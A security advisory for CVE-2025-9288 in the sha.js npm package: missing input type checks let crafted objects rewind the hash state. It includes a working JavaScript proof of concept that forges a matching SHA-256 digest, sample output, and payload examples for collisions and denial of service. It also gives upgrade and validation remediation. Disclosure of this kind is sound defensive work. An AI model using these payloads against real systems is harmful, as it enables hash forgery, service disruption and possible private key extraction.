CVE-2025-9288: Missing type checks leading to hash rewind and passing on crafted data
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js') const { randomBytes } = require('crypto')
const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])
Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe
Or just: console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Other sources
Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
— NVD
Missing type checks leading to hash rewind and passing on crafted data
— Microsoft
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/sha.jsto a version that resolves this vulnerability.Fixed in 2.4.12 - Upgrade
Upgrade
sha.jsto a version that resolves this vulnerability.Fixed in through 2.4.11Patch GHSA-cpq7-6gpm-g9rc - Compensating control
Ensure all inputs passed to sha.js hash.update are strictly validated as a well-formed Buffer or string to avoid missing input type checks that can cause hash rewind/state corruption (including turning a tagged hash into an untagged hash).
Event History
Frequently Asked Questions
What is the severity of CVE-2025-9288?
CVE-2025-9288 is classified as a high severity vulnerability due to improper input validation.
How do I fix CVE-2025-9288?
To fix CVE-2025-9288, upgrade to sha.js version 2.4.12 or later.
What causes CVE-2025-9288?
CVE-2025-9288 is caused by improper input validation in sha.js, allowing input data manipulation.
Which versions of sha.js are affected by CVE-2025-9288?
CVE-2025-9288 affects sha.js versions up to and including 2.4.11.
Is CVE-2025-9288 exploitable?
Yes, CVE-2025-9288 is exploitable, potentially allowing attackers to manipulate input data.